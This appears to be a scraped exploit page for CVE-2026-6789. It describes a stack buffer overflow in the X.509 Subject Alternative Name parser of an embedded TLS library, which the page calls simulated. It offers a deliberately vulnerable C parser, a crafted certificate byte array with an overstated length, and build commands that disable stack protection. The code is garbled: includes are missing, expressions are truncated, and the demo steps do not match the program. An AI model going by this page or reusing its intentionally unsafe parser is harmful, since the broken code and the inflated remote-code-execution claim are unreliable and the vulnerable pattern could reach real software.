Exploit for CVE-2026-6789

## https://sploitus.com/exploit?id=9A1BBDC3-44EF-54DC-AFB7-785367F76998
---

## 9. CVE-2026-6789 – Stack Buffer Overflow in Embedded TLS Certificate Parser

### Overview
A popular lightweight TLS library (simulated) contains a stack buffer overflow when parsing X.509 certificate Subject Alternative Name extensions with a crafted length field.

**Severity:** Critical (RCE on IoT/Industrial Devices)

### Vulnerable C Parser & Exploit

```c
// tls_x509_vuln.c
#include 
#include 
#include 
#include 

// Vulnerable certificate parser
struct cert {
    uint8_t *data;
    size_t len;
};

int parse_san_extension(struct cert *cert, char *san_out, size_t out_size) {
    // Assume we are inside an extension with OID for SAN.
    uint8_t *p = cert->data + 10; // skip to extension value
    uint16_t ext_len = (p[0] data + cert->len) {
        uint8_t name_type = *p++;
        uint16_t name_len = (p[0]  out_size
            san_out[name_len] = '\0';
            return 0;
        }
        p += name_len;
    }
    return -1;
}

int main(int argc, char **argv) {
    // Malicious certificate payload: crafted SAN with oversized dNSName
    uint8_t malicious_cert[] = {
        // ... header, then extension:
        0x30, 0x12, // SEQUENCE extension
        0x06, 0x03, 0x55, 0x1d, 0x11, // OID SAN
        0x04, 0x0b, // octet string, length 11
        // ext_len (should be 0x0009 but we use 0x00ff to overflow)
        0x00, 0xff, // ext_len = 255 (overstated)
        // Then a dNSName: type 2, length huge
        0x02, 0x01, 0x41, // dNSName "A" but the parser will read massive length due to ext_len
    };
    struct cert cert;
    cert.data = malicious_cert;
    cert.len = sizeof(malicious_cert);

    char san[16]; // small buffer
    parse_san_extension(&cert, san, sizeof(san));
    printf("SAN: %s\n", san);
    return 0;
}

```

# CVE-2026-6789 – Embedded TLS X.509 SAN Stack Overflow

![Severity: Critical](https://img.shields.io/badge/severity-critical-red)

## 📖 Overview

A stack‑based buffer overflow in the certificate parser of a widely used embedded TLS library allows remote code execution when a device processes a specially crafted X.509 certificate.

## ⚙️ Vulnerability Details

- **Type:** Stack Buffer Overflow
- **Impact:** Remote Code Execution (pre‑auth on TLS servers)
- **Root Cause:** The parser copies a DNS name from the Subject Alternative Name extension using a length field without validating against the output buffer size.

## 🧪 Exploit Demonstration

1. Generate a malicious certificate:
   ```bash
   python craft_exploit_cert.py
2. Compile and run the vulnerable parser (simulation):
   ```bash
   gcc tls_x509_vuln.c -o parser -fno-stack-protector -z execstack
   ./parser malicious.cer